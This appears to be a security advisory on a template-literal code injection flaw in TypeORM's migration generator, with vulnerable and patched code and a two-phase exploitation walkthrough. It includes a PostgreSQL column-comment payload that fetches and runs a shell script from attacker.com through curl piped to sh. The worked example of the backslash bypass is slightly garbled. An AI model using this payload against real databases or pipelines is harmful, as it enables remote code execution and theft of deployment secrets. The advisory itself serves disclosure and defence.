GHSA-2RP8-MM9Q-FP49: Remote Code Execution via Template-Literal Code Injection in TypeORM migration:generate

TypeORM provides a command-line interface (CLI) that allows developers to automatically generate database migrations by comparing active TypeScript entities with the state of a live database schema. This utility, implemented in MigrationGenerateCommand.ts, programmatically constructs migration code based on differences discovered during introspection. The target fields for introspection include structural configurations such as column comments, default values, and custom table view definitions.

Because generated migrations must run on downstream database instances, TypeORM serializes these introspected properties as static SQL string variables. The engine writes these values inside ES2015 template literals, which are enclosed in backticks (`). If an attacker can manipulate or access a database with metadata control privileges, they can introduce malicious strings that break out of the template literal context.

Since the resulting migration file is an executable JavaScript or TypeScript file, the payload executes the moment the migration script is loaded by the Node.js runtime. This vector shifts the threat scope from database interaction to arbitrary shell execution under the privilege context of the execution environment.

The underlying vulnerability arises from two structural failures in how MigrationGenerateCommand.ts processed database-derived string values. First, the codebase attempted to serialize query strings inside ES2015 template literals by simply replacing literal backticks using replaceAll("", "\"). This approach failed to secure the boundary because it neglected to sanitize the backslash character itself.

When a string contains a backslash character before a backtick, the backslash consumption bypass is triggered. For example, if an attacker supplies the string \``, the simple replacement logic converts this to \`. When the engine evaluates this output, the first two backslashes form a literal escaped backslash (\`), while the third backslash escapes the escaping character, leaving the subsequent backtick active. This allows the attacker to break out of the string literal boundary.

Second, the pre-patched implementation failed to escape template literal interpolation markers ($\{). ES2015 specifications dictate that any expression enclosed within $\{\} is evaluated in the execution scope prior to execution. By passing these characters verbatim, TypeORM allowed arbitrary Node.js expressions to run immediately when the file was parsed by the V8 compilation engine.

An analysis of the vulnerable code path inside src/commands/MigrationGenerateCommand.ts reveals how introspected SQL commands were previously concatenated into the output buffer without safety checks:

// Vulnerable execution block in MigrationGenerateCommand.ts
sqlInMemory.upQueries.forEach((upQuery) => {
    upSqls.push(
        "        await queryRunner.query(`" +
            upQuery.query.replaceAll("`", "\\`") +
            "`" +
            MigrationGenerateCommand.queryParams(upQuery.parameters)
    );
});

The fix, merged across commits 41d1c62fe49f99c3ca916d4d986f61ee9f45d519 and b175f9b8be422edd2a2ac035ba90c3f2ce782dfe, introduced a robust, sequential sanitization step. Below is the patched implementation:

// Patched execution block using the new escape utility
sqlInMemory.upQueries.forEach((upQuery) => {
    upSqls.push(
        "        await queryRunner.query(`" +
            MigrationGenerateCommand.escapeTemplateLiteral(upQuery.query) +
            "`" +
            MigrationGenerateCommand.queryParams(upQuery.parameters)
    );
});
 
// Sequential escaping implementation to block injection vectors
protected static escapeTemplateLiteral(query: string): string {
    return query
        .replace(/\\/g, "\\\\")
        .replace(/`/g, "\\`")
        .replace(/\$\{/g, "\\${");
}

The order of operations inside escapeTemplateLiteral is vital to security. By replacing single backslashes (\) with double backslashes (\\) first, the compiler ensures that user-supplied backslashes cannot neutralize the escape characters generated for backticks and template string interpolation sequences.

To execute this attack, the threat actor must first inject a malicious payload into the database metadata. This represents a classic second-order injection pattern, requiring two distinct phases.

In the first phase, the attacker modifies the metadata of a table column. For a PostgreSQL target, the command alters a column comment:

COMMENT ON COLUMN "user"."email" IS 'User Identity ${process.mainModule.require("child_process").execSync("curl http://attacker.com/shell | sh")}';

In the second phase, the developer or CI/CD container runs the schema introspection command:

npx typeorm migration:generate src/migrations/SyncUsers -d src/data-source.ts

This writes the metadata verbatim into the migrations folder. When the migration file is parsed, the V8 engine interprets the payload in the context of the running application, executing the shell payload.

The CVSS Base Score is evaluated at 8.0 (High). Although the attack complexity is High because it requires schema modification permissions or an active SQL injection vulnerability, the consequences of successful exploitation are absolute.

If the application utilizes automated CI/CD deployment jobs that run schema migrations on merge or deployment, the pipeline environment becomes directly compromised. This compromise exposes sensitive repository secrets, database connection parameters, production cloud credentials, and deployment environments.

The scope transition is defined as a Scope Change (S:C). The vulnerability starts as a passive data variable stored inside a database catalog and escalates to full remote code execution inside the hosting operating system.